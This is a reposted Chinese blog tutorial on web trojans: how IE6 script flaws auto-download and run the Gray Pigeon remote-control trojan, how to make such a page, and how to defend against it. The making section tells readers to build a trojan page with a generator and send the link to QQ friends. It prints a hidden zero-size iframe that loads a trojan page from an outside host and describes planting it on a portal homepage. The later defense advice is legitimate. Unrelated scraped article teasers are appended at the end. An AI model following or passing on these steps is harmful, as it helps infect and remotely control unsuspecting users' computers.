【渗透测试】-网马攻击原理与制作过程【转】
【渗透测试】-网马攻击原理与制作过程【转】
如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页,经检查,我确实中了灰鸽子。怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。
0x01:网页木马的攻击原理
首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。 有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。
小提示:代码说明
代码中“src”的属性为程序的网络地址,本例中“http://go163go.vicp.net/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。
也可以把木马程序上传到免费的主页空间上去,但免费空间出于安全的考虑,多数不允许上传exe文件,黑客可能变通一下把扩展名exe改为bat或com,这样他们就可以把这些程序上传到服务器上了。
把这段代码插入到网页源代码的
…之间(如图1),然后用没打补丁的IE6打开,接下来,打开IE的临时目录,你会发现,在该文件夹中有一个“1.exe”文件,这也就是说,该网页已自动下载了我放置在Web服务器上的灰鸽子木马。
为什么一定要用灰鸽子木马呢?因为灰鸽子是反弹型木马,该木马能绕过天网等大多数防火墙的拦截,中马后,服务端即被控端能主动连接控制端(客户端),也就是说,一旦被控端连接到Internet,在控制端那里,被控端就会“自动上线”(如图2)。
把这段代码插入到网页源代码的…之间,然后用IE打开该网页,你会发现,这段代码可以在没有打相关补丁的IE6中自动打开记事本。
这段代码使用了shell.application控件,该控件能使网页获得执行权限,替换代码中的“Notepad.exe”(记事本)程序,可以用它自动运行本地电脑上的任意程序。
通过以上的代码我们可以看出,利用IE的漏洞,也就是说在网页中插入适当的代码,IE完全可以自动下载和运行程序,不过,IE一旦打了相关补丁,这些代码就会失去作用。另外,这些代码要运行和下载程序,有些杀毒软件的网页监控会视它们为病毒,为了逃避追杀,黑客可能会使用一些工具对网页的源代码进行加密处理(如图3)。
0x02:网马的制作过程
理解了网页木马攻击的原理,我们可以制作自己的网页木马,但这需要你根据IE漏洞写出利用代码。实际上,在网上有很多高手已写出了一些漏洞的利用代码,有的还把它写成了可视化的程序。在搜索引擎输入“网页木马生成器”进行搜索,你会发现,在网上有很多利用IE的各种漏洞编写的网页木马生成器,它们大都为可视化的程序,只要你有一个木马(该木马必须把它放置到网络上),利用这些生成器你就可以立即生成一个网页,该网页就是网页木马,只要他人打开这个网页,该网页就可以自动完成下载木马并运行(安装)木马的过程。
在我的电脑上我已下载了一个网页木马生成器,下面我们来看怎么生成网页木马并让他人中木马。
如图4所示,在文本框中输入木马的网络地址,最后单击“生成”。
第二步:上传网马到自己的Web服务器或免费主面空间。
在网页木马生成器的安装文件夹会生成一个网页文件,该文件就是我们在上一步生成的网页木马。上传该文件到自己的Web服务器或免费主面空间。
现在好了,把上述网页在服务器上的地址(网址)通过QQ发给自己的好友,一旦他访问了该网页,该网页就会在他的电脑上自动下载并运行你放置在网络上的木马。
现在你该明白安全专家劝告的“不要打开陌生人发来的网络地址”这句话的真谛了吧!实际上,即使人人都不打开陌生人发来的网址,也仍然有一些人“飞蛾补灯,自寻死路”,因为若大的Internet,总会有一些人会有意或无意地访问这些网址,而且,有些网页木马,还挂在一些知名网站上(根据知名网站的访问量,你算算吧,每天有多少人中了木马!)。
小提示: 你可能还没想到,看电影,在论坛查看或回复帖子也能中木马。实际上,网页木马还可以挂在多媒体文件、电子邮件、论坛、CHM电子书上,这样,用户一旦观看电影、查看或预览邮件(主要是一些用电子邮件群发器发送的垃圾邮件)、参与帖子,打开电子书,用户就会中网页木马。
在下面我们只介绍黑客如何在知名网站上挂网页木马。下面来看这一段代码:iframe src=”http://go163go.vicp.net/hk.htm” width=”0″ height=”0″ frameborder=”0″>
小提示: “src”的属性“http://go163go.vicp.net/hk.htm”是上传到服务器上的网页木马的网址。
把这段代码插入到某门户网站首页源代码的…之间,从表面上看,插入后该门户的首页并没有什么变化,但是,所有访问了该门户网站首页的人都会中木马,为什么会这样呢?这是因为这段代码中
也许有人会问,如何把上述代码插入到门户网站首页的源代码中?这个问题问得好,本人才疏学浅,确实无法进入他们的服务器修改网页,但是黑客如果发现了这些服务器上的漏洞且获得了webshell权限,那么修改他们的网页就跟在本地制作一个网页一样容易。
有人还问,拿到服务器的webshell权限容易吗?如果你对网络安全比较关注,你会发现,经常有这个网站被黑了,那个网站的主页被修改了的新闻爆出。
有人还问,门户的服务器几乎无漏洞可找,个人服务器的漏洞较多,你能进入吗?本人不是黑客,中华人民共和国的法律规定,入侵和篡改他人服务器上的信息是违法行为,希望大家共同维护网络安全。
以前,在网上打开一些有名的网站时杀毒软件也会报警,现在你明白其中的道理了吧。有些人在这些网站发帖子骂娘,看了本文,希望在骂娘时你也能为那些垫背的站长想想。
0x03:如何预防网马?
网页木马的防范只靠杀毒软件和防火墙是远远不够的,因为一旦黑客使用了反弹端口的个人版木马(个人反汇编的一些杀毒软件无法识别的木马),那么杀毒软件和防火墙就无可奈何,所以,网页木马的防范要从它的原理入手,从根子上进行防范。
网页木马都是利用IE漏洞进行传播的,我们拿冰狐浪子的网页木马(用“冰狐浪子网页木马生成器”制作的网页木马)来说吧,该网页能绕过IE的安全设置,当用户连接到该网页时,它能在普通用户不知情的情况下在后台下载一个木马并运行(安装)该木马。所以,经常到微软网站去下载并安装最新的安全补丁是防范网页木马比较有效的办法。
改名或卸载(反注册)最不安全的ActiveXObject(IE插件)
在系统中有些ActiveXObject会运行EXE程序,比如本文中“自动运行程序”代码中的Shell.application控件,这些控件一旦在网页中获得了执行权限,那么它就会变为木马运行的“温床”,所以把这些控件改名或卸载能彻底防范利用这些控件的网页木马。但是ActiveXObject是为了应用而出现的,而不是为了攻击而出现的,所有的控件都有它的用处,所以在改名或卸载一个控件之前,你必须确认这个控件是你不需要的,或者即使卸载了也不关大体的。
⒈卸载(反注册)ActiveXObject
第一步:在“开始”菜单上单击“运行”,输入“CMD”命令打开命令提示符窗口。
第二步:在命令提示符下输入“regsvr32.exe shell32.dll /u/s”,然后回车就能将Shell.application控件卸载。
如果日后我们希望继续使用这个控件的话,可以在命令提示符窗口中输入“regsvr32.exe shell32.dll /i/s”命令将它们重新安装(注册)。在上述命令中:“regsvr32.exe”是注册或反注册OLE对象或控件的命令,[/u]是反注册参数,[/s]是寂静模式参数,[/I]为安装参数。
⒉改名ActiveXObject
需要说明的是,改名一个控件时,控件的名称和CLSID(Class ID)都要改,并且要改彻底了。下面仍以Shell.application为例来介绍方法。
第一步:打开注册表编辑器,查找“Shell.application”。用这个方法能找到两个注册表项:“{13709620-C279-11CE-A49E-444553540000}”和“Shell.application”。
第二步:把{13709620-C279-11CE-A49E-444553540000}改为{13709620-C279-11CE-A49E-444553540001},注意,不要和系统中的其它CLSID重复。
第三步:把“Shell.application”改名为“Shell.application_xxx”。以后用到这个控件的时候你使用这个名称就可以正常调用此控件了.
经笔者的测试,用冰狐浪子的“网页木马专业版生成器”生成的网页木马,只要调高IE的安全级别,或者禁用脚本,该网页木马就不起作用了。从木马的攻击原理我们可以看出,网页木马是利用IE脚本和ActiveX控件上的一些漏洞下载和运行木马的,只要我们禁用了脚本和ActiveX控件,就可以防止木马的下载和运行。
小提示 :禁用脚本和ActiveX控件会使一些网页的功能和效果失去作用,所以是否禁用,你要根据自己对安全的需要来定。
第一步:在IE浏览器的菜单栏上选择“工具→Internet选项”打开“Internet选项”对话框。
第二步:在“安全”选项卡上,在Internet和本地Internet区域,分别把滑块移动到最高(如图6),或者点击“自定义级别”,在打开的对话框上禁用脚本,禁用ActiveX控件。
欢迎关注微信公众号(coder0x00)或扫描下方二维码关注,我们将持续搜寻程序员必备基础技能包提供给大家。
你可能感兴趣的:(【渗透测试】-网马攻击原理与制作过程【转】)
MicroAI™将人工智能培训引入RENESAS MCU
sinat_41698914
人工智能 mcu big data
在端点部署的人工智能技术将加快资产密集型行业的上市时间达拉斯--(美国商业资讯)--边缘原生人工智能(AI)和机器学习(ML)产品领域的先驱MicroAITM今天宣布,公司已将其MicroAIAtomML™技术与RenesasRA微控制器(MCU)产品线进行整合。与全球微控制器领导者Renesas合作将机器学习引入MCU,并借助MicroAI直接在嵌入式环境中训练机器学习模型的能力——这在业界尚属
【面试】【程序员基本知识】计算机网络,设计模式,正则,安全
患得患失949
面试考题专栏(前后端) 安全 面试 计算机网络
一、计算机网络(一)基本概念计算机网络是一种将多台计算机通过硬件和软件互联,以实现资源共享和数据传输的技术。组成部分:(1)硬件:路由器、交换机、网卡、光纤等。(2)软件:协议栈、操作系统、网络应用等。(二)网络分层模型OSI七层模型(1)物理层:负责数据的物理传输。(2)数据链路层:提供节点间的数据传输。(3)网络层:负责路由与寻址(如IP协议)。(4)传输层:提供端到端的通信(如TCP/UDP
基于深度学习的遥感目标检测系统:UI界面、R-CNN模型与数据集准备
2025年数学建模美赛
R-CNN检测系统 人工智能 深度学习 r语言 cnn python ui 目标检测
一、引言遥感图像中的目标检测在很多领域,如环境监测、土地利用、城市规划、农业资源监测等方面有着广泛应用。遥感图像具有高分辨率和丰富的空间信息,但同时也带来了目标检测中的许多挑战,特别是在目标尺度变化、遮挡和复杂背景的情况下。因此,采用深度学习技术,尤其是卷积神经网络(CNN)和区域卷积神经网络(R-CNN),在遥感图像目标检测中取得了显著的成果。本文将详细介绍基于深度学习的遥感目标检测系统,使用R
前端开发设计模式——原型模式
夜月还山岚
JavaScript设计模式 原型模式 前端 设计模式
一、定义和特点1.定义原型模式是一种创建对象的方式,它通过复制一个已经存在的实例(称为原型)来创建新的实例,而不是通过传统的构造函数调用和初始化过程。2.特点高效创建对象:避免了重复执行复杂的构造过程,尤其是当对象的创建成本较高时,原型模式可以显著提高创建效率。灵活性:可以根据不同的需求对原型进行修改和扩展,从而创建出具有不同特性的新对象。动态性:在运行时可以动态地改变原型,使得创建的对象能够适应
Unity引擎下的ARCore插件学习指南:从入门到实战案例
小宝哥Code
元宇宙VRARXR unity 游戏引擎
1.了解ARCore与Unity引擎的结合ARCore是由Google开发的一种增强现实(AR)平台,它能够让Android设备在现实世界中准确定位并映射环境,以便提供AR体验。与Unity结合后,ARCore能够为开发者提供强大的工具来实现流畅、精准的AR应用开发。学习资源:官方文档:ARCore官方文档(ARCoredocumentation)是最权威、最全面的学习资源,包含API参考、示例项
构建器模式(Builder Pattern)与传统对象创建方式的对比
CY_U
java 设计模式 建造者模式
传统对象创建方式//方式1:空构造+SetterShoppingCartcart=newShoppingCart();cart.setUserId(123L);cart.setItemId(1001);//方式2:全参构造ShoppingCartcart=newShoppingCart( 123L,1001,"商品A",2,...);特点:需要显式调用多个setter方法全参构造需要严格参数顺
DeepSeek R1:中国AI黑马的崛起与挑战
码事漫谈
AI 人工智能
文章目录技术突破:从零开始的推理能力进化DeepSeekR1-Zero:纯RL训练的“自我觉醒”DeepSeekR1:冷启动与多阶段训练的平衡之道实验验证:推理能力的全方位跃升基准测试:超越顶尖闭源模型蒸馏技术:小模型的逆袭行业启示:AGI之路的新范式纯RL训练的价值与挑战蒸馏技术的普惠意义开源生态的推动力未来展望:从推理到通用智能结语在人工智能领域,大型语言模型(LLMs)正以迅猛之势重塑我们的
使用mysqlslap进行MySQL压力测试
PmtxPhp
mysql 压力测试 数据库
MySQL是一个广泛使用的关系型数据库管理系统,常用于存储和处理大量结构化数据。在开发和运维过程中,对MySQL的性能进行评估和压力测试是非常重要的。本文将介绍如何使用mysqlslap工具来进行MySQL压力测试,并提供相应的源代码示例。MySQL提供了一个名为mysqlslap的工具,它是一个基准测试工具,用于模拟多个客户端并发访问MySQL服务器的情况,以评估服务器的性能和吞吐量。mysql
《Apache Shiro 源码解析》- 11.Shiro 对 Spring 的支持
大漠穷秋9527
《Apache Shiro 源码解析》 apache spring java Shiro 权限管理 后端
11.Shiro对Spring的支持Shiro的第一个版本发布于2004年,Spring项目起源于2002年,在Shiro最初的版本中没有与Spring相关的内容。后来,随着Spring的流行,从2010年开始,Shiro开始提供对Spring的支持,推出了一个独立的jar包,名为shiro-spring。从2018年开始,Shiro在v1.4中开始增强对SpringBoot的支持。在本章中,我们
信息安全与网络安全有什么区别?(1)
2401_84297944
程序员 web安全 hibernate 安全
通过在抓包软件下查看通信流量,对计算机网络的认识从抽象变得具象。加解密技术接着,来了解一些网络安全领域内经常打交道的编解码技术和加解密技术。包括base64编码、对称加密、非对称加密、哈希技术等等。了解它们基础的概念、做什么用的,解决什么问题,最后再了解下工作原理。推荐书籍:《加密与解密》白银(结丹期)现在进入第三个阶段——白银时代,激动人心的时刻就要到来了,在这个阶段,我们开始全面学习真正的网络
【智慧水务】二供数仓功能架构
大雨淅淅
物联网 网络 人工智能
目录一、数据采集层(一)设备数据采集(二)水质数据采集(三)用户数据采集二、数据传输层(一)有线传输(二)无线传输三、数据存储层(一)原始数据存储(二)数据仓库存储四、数据分析层(一)实时数据分析(二)历史数据分析(三)预测性分析五、数据展示层(一)可视化界面(二)移动端应用六、系统管理层(一)用户权限管理(二)数据备份与恢复(三)系统维护与升级一、数据采集层(一)设备数据采集传感器数据:在二次供
《Kotlin核心编程》下篇
张云瀚
kotlin kotlin核心编程
设计模式设计模式分类创建型设计模式:概念:创建型设计模式主要用于对象的创建过程,比如对象的实例化、创建对象的方式和时机等,它关注的是如何将对象的创建和使用分离,使得代码在创建对象时更加灵活、可维护和可扩展。特点:封装对象创建过程;提高灵活性;便于代码复用。常见模式:单例模式、工厂模式、抽象工厂模式、建造者模式、原型模式。结构型设计模式:概念:结构型设计模式主要用于处理类或对象的组合结构,它关注的是
Vue.js从入门到就业[第20讲]:响应式设计与调优,一文吃透它!
bug菌¹
# 滚雪球学Vue vue.js flutter 前端 响应式设计 Vue调优 Vue入门
本文收录于「Vue.js从入门到就业」专栏,手把手带你零基础教学Vue,从入门到就业,助你早日登顶实现财富自由;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!本文目录:前言摘要正文1.Vue.js的响应式系统原理1.1Vue.js响应式系统的核心Vue2与Vue3的响应式系统响应式数据的实现1.2Vue2与Vue3响应式系统的差异Vue2的局限性Vue3的优势1.3响应式系统
多智能体系统的构建
三月七꧁ ꧂
LLM 语言模型 langchain 人工智能 chatgpt 1024程序员节 llama gpt
文章目录多智能体系统的构建方法多智能体系统的通讯协同机制大语言模型智能体的典型应用待解决的关键技术问题 与单智能体系统的独立工作模式不同,多智能体系统着重强调智能体间的协同合作,以发挥集体智慧的优势。在多智能体系统中,可以从相同或不同类型的大语言模型中实例化出多个智能体,每个智能体均扮演特定角色并承担着对应功能。通过智能体间的交互与协作,智能体系统的灵活性和适应性得到显著增强,能够完成相较于
mysql 树形结构_MySQL 树形结构数据库设计 | 剑花烟雨江南
来B
mysql 树形结构
程序设计过程中,我们常常用树形结构来表示某些数据的关联关系,如企业的部门上下级、电商平台的商品分类等等,通常而言,我们需要通过数据库来完成数据的持久化。由于关系型数据库没有一个很好的树形结构解决方案,因此设计合适的Schema以及其对应的CURD算法是关键。接下来,我们以电商商品分类结构来介绍几种解决方案。邻接表邻接表就是把所有节点都放在一张表中,然后用一个属性来记录每个节点的父节点。如下:CRE
Spring Cloud Alibaba 实现 gRPC 服务调用
AI天才研究院
Python实战 自然语言处理 人工智能 语言模型 编程实践 开发语言 架构设计
作者:禅与计算机程序设计艺术1.简介2017年6月2日,Netflix发布开源项目SpringCloud,推出了SpringCloudNetflix,这是一套基于SpringBoot微服务框架的分布式系统的开发工具包。该项目拥有多个子项目,其中最重要的一个子项目是SpringCloudLoadbalancer,它提供了客户端负载均衡器功能。2019年6月,阿里巴巴宣布将其在微服务体系中的地位上升到
C++ 与机器学习:构建高效推理引擎的秘诀
salsm
C++ 编程魔法师 c++ 机器学习 开发语言
随着深度学习模型逐渐从研究走向生产环境,推理能力成为部署中的关键环节。模型的推理引擎需要以极低的延迟快速处理输入数据,同时最大化地利用硬件资源。虽然Python被广泛用于模型的训练和开发,但C++却在推理领域独占鳌头,其性能优势和硬件控制能力无可替代。在这篇文章中,我们将从为什么选择C++、构建高效推理引擎的细节,以及相似的开源项目三个方面深入探讨如何利用C++打造高效的机器学习推理引擎。目录为什
使用 C++ 和函数式编程构建高效的 AI 模型
salsm
C++ 编程魔法师 c++ 人工智能
引言现代AI开发常常使用Python,但在底层实现中,C++仍是不可或缺的语言,尤其是在性能敏感的场景下。将C++与函数式编程结合,可以打造高效、模块化的AI模型,同时提高代码的可读性和可维护性。本文将深入探讨如何利用现代C++和函数式编程的强大特性,优化AI模型的构建流程,并提升整体性能。函数式编程在C++中的角色函数式编程(FunctionalProgramming)是一种强调不可变数据和纯函
深入了解 ELF 文件格式:Linux 的可执行文件标准
salsm
linux 运维 服务器
在Linux操作系统中,ELF(ExecutableandLinkableFormat)文件格式是一个至关重要的标准,它用于存储可执行文件、目标文件和共享库等。无论是开发者、系统管理员,还是从事底层编程的工程师,都需要理解ELF文件的结构,因为它决定了如何加载、执行和调试程序。本文将深入解析ELF文件的结构,帮助大家更好地理解它的工作原理及其在操作系统中的作用。什么是ELF文件?ELF(Execu
inline 函数:让你的 C++ 代码飞起来——深度剖析与实战技巧
salsm
C++ 编程魔法师 c++ linux 算法 开发语言
你是否曾经为C++代码中的函数调用开销感到烦恼?每次函数调用都需要创建栈帧、传递参数、跳转执行,这些看似微小的操作,累计起来就会成为性能瓶颈。在对性能要求苛刻的程序中,这些开销可能会影响到整体表现。今天,我们要聊的就是一个解决方案——inline函数。想象一下,如果编译器能在每次函数调用时,直接把函数体复制到调用点,就能省去栈的操作、跳转指令以及参数传递等开销。这就是inline函数的魔力!今天的
Cline 3.2 重磅更新:免费调用 Claude Sonnet 3.5 和 GPT 4o,开发效率直接拉满!
surfirst
LLM 人工智能 AI编程
1.Cline简介Cline是一款结合了AI助手与VSCode的智能工具,旨在通过其深度集成的能力协助开发者完成复杂的软件开发任务。从创建与编辑文件到执行终端命令,Cline借助Claude3.5Sonnet的代理编程能力,将开发者从繁琐的手动任务中解放出来。同时,它通过ModelContextProtocol(MCP)支持扩展能力,可以为用户创建新的工具,进一步提升开发效率。Cline还注重安全
How to learn html?基于chatGLM-b生成示例(仅供参考)
不是吧这都有重名
html 前端
如何学习HTML目录章节11.1.HTML基础概念章节22.1.HTML文档结构章节33.1.HTML基本标签章节44.1.HTML文本格式化章节55.1.HTML列表和表格章节66.1.HTML表单和输入章节77.1.HTML图片和多媒体章节88.1.HTML链接与导航章节99.1.HTML样式与CSS的基本应用章节1010.1.HTML常用属性与属性标签章节1111.1.HTML注释与特殊字符
MySQL 8.0——主从同步
花_城
数据库 mysql 数据库 服务器
文章目录一、MySQL8.0主从同步二、MySQL主从搭建2.1Master上的操作2.2Slave上的操作一、MySQL8.0主从同步主从同步的流程(原理):master将变动记录到二进制日志文件(binarylog)中,即配置文件中log-bin指定的文件,这些记录叫做二进制日志事件(binarylogevents);master将二进制日志文件发送给slave;slave通过I/O线程读取文
跨域问题及解决方案
八月五
实战项目 spring boot 后端
跨域问题不仅影响开发效率,还可能导致项目进度延误。因此,理解和掌握跨域问题的原理及其解决方案对于前端开发者和后端开发者来说都至关重要。本文将详细介绍什么是跨域、跨域产生的原因,以及常见的后端跨域解决方案。文章目录一、什么是跨域二、跨域产生的原因三、解决策略:1.CORS(跨域资源共享)2.在SpringBoot中配置CORS2.1在目标方法中添加`@CrossOrign`注解2.2添加Cors过滤
如何0基础自学网络安全技术,推荐一个非常稳的网络安全学习路线_网络安全入门学习路线
星空真懒
程序员 web安全 学习 安全
青铜(筑基期)度过了石器时代,你已经储备了一些计算机的基础知识:操作系统的使用,网络协议,前端基础,数据库初识,但这距离做网络安全还不够,在第二个青铜阶段,你还需要再进一步学习基础,在第一阶段之上,难度会开始慢慢上升。这一阶段需要学习的知识有:Web进阶在前面的石器时代,咱们初步接触了网页编程,了解了网页的基本原理。不过那时候是纯前端的,纯静态的网页,没有接触后端。在这个进阶的阶段,你要开始接触W
从简单到深刻的认知发展
AI架构设计之禅
计算机软件编程原理与应用实践 java python javascript kotlin golang 架构 人工智能
认知发展,人工智能,深度学习,神经网络,机器学习,自然语言处理,计算机视觉1.背景介绍认知发展是人类从简单到复杂的思维方式演进的过程,它涉及感知、记忆、语言、推理和决策等多个方面。随着人工智能技术的飞速发展,我们开始尝试用计算机模拟人类的认知能力,构建能够学习、理解和解决复杂问题的智能系统。从早期的符号逻辑到如今的深度学习,人工智能的发展经历了多个阶段。早期的人工智能研究主要集中在规则和逻辑推理上
2025年1月27日人工智能与科技新闻:DeepSeek震撼全球科技市场
海棠AI实验室
AI 瞭望塔 人工智能 科技
中国AI初创公司DeepSeek震撼全球科技市场DeepSeekR1模型的突破性发展在科技迅猛发展的时代,中国人工智能初创公司DeepSeek推出的R1模型,以其卓越的技术能力,在全球AI领域掀起一场变革。这不仅是技术层面的突破,更对全球科技市场产生深远影响。技术创新与突破全新语言处理架构:提升AI理解和生成能力超越传统模型的认知能力:实现更精准的自然语言推理多模态交互:支持文本、图像、语音等多维
mysql数据库 解析树形参数
fengzelun
mysql相关 数据库 mysql database
一、前言因为项目数据的地址是树形,格式:440000;440300;440312;659971;查询出的数据又需要转为中文:XXX省XXX市XXX区欢乐港湾东岸L2-016所以需要借助sql存储过程实现二、思路把要读取数据的所有地址编码都查询出来解析地址编码,因为地址编码是分号分隔,所有根据分号循环每个编码解析,解析后再拼接把解析好的地址编码和地址名称存入一张数据表(存的时候利用唯一索引去重)业务
Nacos3# 服务注册与发现服务端启动源码解析
瓜农老梁
java rpc spring protobuf android
引言本文从gRPC的.proto文件解读其暴露的服务,由此生成gRPC的客户端/服务端存根。进而分析服务端加载启动过程。最近家里事情较多,本文短了点,大伙随便看看。一、内容提要gRPCService.proto解读暴露用于服务端到客户端流式RPC的服务RequestStream#requestStream暴露用于简单RPC调用的服务Request#request暴露用于双向流式RPC调用的服务Bi
Mysql——主从复制、读写分离(值得一看)
老赵学coding
mysql 数据库 服务器
目录前言一、基本概念1.读写分离(1)什么是读写分离(2)为什么要读写分离(3)什么时候要读写分离(4)主从复制与读写分离2.MySQL主从复制(1)mysql支持的复制类型(2)主从复制的工作过程(3)mysql主从复制高延迟的原因(4)mysql主从复制高延迟的解决办法3.常见的MySQL读写分离方式(1)基于程序代码内部实现(2)基于中间代理层实现二、MySQL主从复制架构搭建1.服务器配置
Java序列化进阶篇
g21121
java序列化
1.transient
类一旦实现了Serializable 接口即被声明为可序列化,然而某些情况下并不是所有的属性都需要序列化,想要人为的去阻止这些属性被序列化,就需要用到transient 关键字。
escape()、encodeURI()、encodeURIComponent()区别详解
aigo
JavaScript Web
原文:http://blog.sina.com.cn/s/blog_4586764e0101khi0.html
JavaScript中有三个可以对字符串编码的函数,分别是: escape,encodeURI,encodeURIComponent,相应3个解码函数:,decodeURI,decodeURIComponent 。
下面简单介绍一下它们的区别
1 escape()函
ArcgisEngine实现对地图的放大、缩小和平移
Cb123456
添加矢量数据 对地图的放大、缩小和平移 Engine
ArcgisEngine实现对地图的放大、缩小和平移:
个人觉得是平移,不过网上的都是漫游,通俗的说就是把一个地图对象从一边拉到另一边而已。就看人说话吧.
具体实现:
一、引入命名空间
using ESRI.ArcGIS.Geometry;
using ESRI.ArcGIS.Controls;
二、代码实现.
Java集合框架概述
天子之骄
Java集合框架概述
集合框架
集合框架可以理解为一个容器,该容器主要指映射(map)、集合(set)、数组(array)和列表(list)等抽象数据结构。
从本质上来说,Java集合框架的主要组成是用来操作对象的接口。不同接口描述不同的数据类型。
简单介绍:
Collection接口是最基本的接口,它定义了List和Set,List又定义了LinkLi
旗正4.0页面跳转传值问题
何必如此
java jsp
跳转和成功提示
a) 成功字段非空forward
成功字段非空forward,不会弹出成功字段,为jsp转发,页面能超链接传值,传输变量时需要拼接。接拼接方式list.jsp?test="+strweightUnit+"或list.jsp?test="+weightUnit+&qu
全网唯一:移动互联网服务器端开发课程
cocos2d-x小菜
web开发 移动开发 移动端开发 移动互联 程序员
移动互联网时代来了! App市场爆发式增长为Web开发程序员带来新一轮机遇,近两年新增创业者,几乎全部选择了移动互联网项目!传统互联网企业中超过98%的门户网站已经或者正在从单一的网站入口转向PC、手机、Pad、智能电视等多端全平台兼容体系。据统计,AppStore中超过85%的App项目都选择了PHP作为后端程
Log4J通用配置|注意问题 笔记
7454103
DAO apache tomcat log4j Web
关于日志的等级 那些去 百度就知道了!
这几天 要搭个新框架 配置了 日志 记下来 !做个备忘!
#这里定义能显示到的最低级别,若定义到INFO级别,则看不到DEBUG级别的信息了~!
log4j.rootLogger=INFO,allLog
# DAO层 log记录到dao.log 控制台 和 总日志文件
log4j.logger.DAO=INFO,dao,C
SQLServer TCP/IP 连接失败问题 ---SQL Server Configuration Manager
darkranger
sql c windows SQL Server XP
当你安装完之后,连接数据库的时候可能会发现你的TCP/IP 没有启动..
发现需要启动客户端协议 : TCP/IP
需要打开 SQL Server Configuration Manager...
却发现无法打开 SQL Server Configuration Manager..??
解决方法: C:\WINDOWS\system32目录搜索framedyn.
[置顶] 做有中国特色的程序员
aijuans
程序员
从出版业说起 网络作品排到靠前的,都不会太难看,一般人不爱看某部作品也是因为不喜欢这个类型,而此人也不会全不喜欢这些网络作品。究其原因,是因为网络作品都是让人先白看的,看的好了才出了头。而纸质作品就不一定了,排行榜靠前的,有好作品,也有垃圾。 许多大牛都是写了博客,后来出了书。这些书也都不次,可能有人让为不好,是因为技术书不像小说,小说在读故事,技术书是在学知识或温习知识,有些技术书读得可
document.domain 跨域问题
avords
document
document.domain用来得到当前网页的域名。比如在地址栏里输入:javascript:alert(document.domain); //www.315ta.com我们也可以给document.domain属性赋值,不过是有限制的,你只能赋成当前的域名或者基础域名。比如:javascript:alert(document.domain = "315ta.com");
关于管理软件的一些思考
houxinyou
管理
工作好多看年了,一直在做管理软件,不知道是我最开始做的时候产生了一些惯性的思维,还是现在接触的管理软件水平有所下降.换过好多年公司,越来越感觉现在的管理软件做的越来越乱.
在我看来,管理软件不论是以前的结构化编程,还是现在的面向对象编程,不管是CS模式,还是BS模式.模块的划分是很重要的.当然,模块的划分有很多种方式.我只是以我自己的划分方式来说一下.
做为管理软件,就像现在讲究MVC这
NoSQL数据库之Redis数据库管理(String类型和hash类型)
bijian1013
redis 数据库 NoSQL
一.Redis的数据类型
1.String类型及操作
String是最简单的类型,一个key对应一个value,string类型是二进制安全的。Redis的string可以包含任何数据,比如jpg图片或者序列化的对象。
Set方法:设置key对应的值为string类型的value
Tomcat 一些技巧
征客丶
java tomcat dos
以下操作都是在windows 环境下
一、Tomcat 启动时配置 JAVA_HOME
在 tomcat 安装目录,bin 文件夹下的 catalina.bat 或 setclasspath.bat 中添加
set JAVA_HOME=JAVA 安装目录
set JRE_HOME=JAVA 安装目录/jre
即可;
二、查看Tomcat 版本
在 tomcat 安装目
【Spark七十二】Spark的日志配置
bit1129
spark
在测试Spark Streaming时,大量的日志显示到控制台,影响了Spark Streaming程序代码的输出结果的查看(代码中通过println将输出打印到控制台上),可以通过修改Spark的日志配置的方式,不让Spark Streaming把它的日志显示在console
在Spark的conf目录下,把log4j.properties.template修改为log4j.p
Haskell版冒泡排序
bookjovi
冒泡排序 haskell
面试的时候问的比较多的算法题要么是binary search,要么是冒泡排序,真的不想用写C写冒泡排序了,贴上个Haskell版的,思维简单,代码简单,下次谁要是再要我用C写冒泡排序,直接上个haskell版的,让他自己去理解吧。
sort [] = []
sort [x] = [x]
sort (x:x1:xs)
| x>x1 = x1:so
java 路径 配置文件读取
bro_feng
java
这几天做一个项目,关于路径做如下笔记,有需要供参考。
取工程内的文件,一般都要用相对路径,这个自然不用多说。
在src统计目录建配置文件目录res,在res中放入配置文件。
读取文件使用方式:
1. MyTest.class.getResourceAsStream("/res/xx.properties")
2. properties.load(MyTest.
读《研磨设计模式》-代码笔记-简单工厂模式
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
package design.pattern;
/*
* 个人理解:简单工厂模式就是IOC;
* 客户端要用到某一对象,本来是由客户创建的,现在改成由工厂创建,客户直接取就好了
*/
interface IProduct {
SVN与JIRA的关联
chenyu19891124
SVN
SVN与JIRA的关联一直都没能装成功,今天凝聚心思花了一天时间整合好了。下面是自己整理的步骤:
一、搭建好SVN环境,尤其是要把SVN的服务注册成系统服务
二、装好JIRA,自己用是jira-4.3.4破解版
三、下载SVN与JIRA的插件并解压,然后拷贝插件包下lib包里的三个jar,放到Atlassian\JIRA 4.3.4\atlassian-jira\WEB-INF\lib下,再
JWFDv0.96 最新设计思路
comsci
数据结构 算法 工作 企业应用 公告
随着工作流技术的发展,工作流产品的应用范围也不断的在扩展,开始进入了像金融行业(我已经看到国有四大商业银行的工作流产品招标公告了),实时生产控制和其它比较重要的工程领域,而
